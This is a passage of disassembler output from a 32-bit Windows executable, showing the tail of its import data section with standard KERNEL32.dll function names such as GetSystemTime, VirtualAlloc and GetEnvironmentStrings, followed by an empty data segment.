; db 2, 52h, 74h aLunwind db 'lUnwind',0 db 0E2h ; db 1, 47h, 65h aTtimezoneinfor db 'tTimeZoneInformation',0 align 2 dw 1C8h aGetsystemtime db 'GetSystemTime',0 dw 228h aInterlockeddec db 'InterlockedDecrement',0 align 2 dw 22Ch aInterlockedinc db 'InterlockedIncrement',0 align 2 dw 1B7h aGetstartupinfo db 'GetStartupInfoA',0 dd 65470110h, 6D6F4374h, 646E616Dh, 656E694Ch, 1E80041h dd 56746547h, 69737265h, 6E6Fh, 65440078h, 42677562h, 6B616572h dd 1B90000h, 53746547h, 61486474h, 656C646Eh, 28D0000h aOutputdebugstr db 'OutputDebugStringA',0 align 4 db 23h ; # db 2, 49h, 6Eh aItializecritic db 'itializeCriticalSection',0 db '',0 aFatalappexita db 'FatalAppExitA',0 db 1Ah db 2, 48h, 65h aAprealloc db 'apReAlloc',0 dw 383h aVirtualfree db 'VirtualFree',0 db 81h ; db 3, 56h, 69h aRtualalloc db 'rtualAlloc',0 align 4 db 58h ; X db 1, 47h, 65h aTenvironmentva db 'tEnvironmentVariableA',0 dw 214h aHeapdestroy db 'HeapDestroy',0 dd 65480212h, 72437061h, 65746165h, 1460000h aGetcurrentthre db 'GetCurrentThreadId',0 align 10h dd 6C540366h, 74655373h, 756C6156h, 3630065h, 41736C54h dd 636F6C6Ch, 3640000h, 46736C54h, 656572h, 65530328h dd 73614C74h, 72724574h, 726Fh, 6C540365h, 74654773h, 756C6156h dd 1450065h, 43746547h, 65727275h, 6854746Eh, 64616572h dd 1040000h, 43746547h, 666E4950h, 0FD006Fh, 41746547h dd 5043h, 65470193h, 4D454F74h, 5043h, 615202A7h, 45657369h dd 70656378h, 6E6F6974h, 2440000h, 614D434Ch, 72745370h dd 41676E69h, 2450000h, 614D434Ch, 72745370h, 57676E69h dd 36E0000h aUnhandledexcep db 'UnhandledExceptionFilter',0 align 2 dw 0F6h aFreeenvironmen db 'FreeEnvironmentStringsA',0 db 0F7h ; align 2 aFreeenvironm_0 db 'FreeEnvironmentStringsW',0 dw 155h aGetenvironme_0 db 'GetEnvironmentStrings',0 dw 157h aGetenvironme_1 db 'GetEnvironmentStringsW',0 align 4 db 24h ; $ db 3, 53h, 65h aThandlecount db 'tHandleCount',0 align 2 dw 166h aGetfiletype db 'GetFileType',0 db 37h ; 7 db 3, 53h, 65h aTstdhandle db 'tStdHandle',0 align 4 aU_1 db '',0 aFlushfilebuffe db 'FlushFileBuffers',0 align 10h db 0BAh ; db 1, 47h, 65h aTstringtypea db 'tStringTypeA',0 align 2 dw 1BDh aGetstringtypew db 'GetStringTypeW',0 align 4 db 4Ah ; J db 3, 53h, 65h aTunhandledexce db 'tUnhandledExceptionFilter',0 dw 230h aIsbadcodeptr db 'IsBadCodePtr',0 align 2 dw 241h aIsvalidlocale db 'IsValidLocale',0 dw 23Fh aIsvalidcodepag db 'IsValidCodePage',0 aP_1 db '',0 aEnumsystemloca db 'EnumSystemLocalesA',0 align 2 dw 1E3h aGetuserdefault db 'GetUserDefaultLCID',0 align 10h dd 65530310h, 646E4574h, 6946664Fh, 656Ch, 65470175h, 636F4C74h dd 49656C61h, 576F666Eh, 3A0000h, 706D6F43h, 53657261h dd 6E697274h, 4167h, 6F43003Bh, 7261706Dh, 72745365h, 57676E69h dd 3130000h aSetenvironment db 'SetEnvironmentVariableA',0 aKernel32_dll_0 db 'KERNEL32.dll',0 align 2 _idata ends ; Section 6. (virtual address 000FC000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 000FB200 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 4FC000h dd 80h dup(0) align 1000h _idata2 ends end start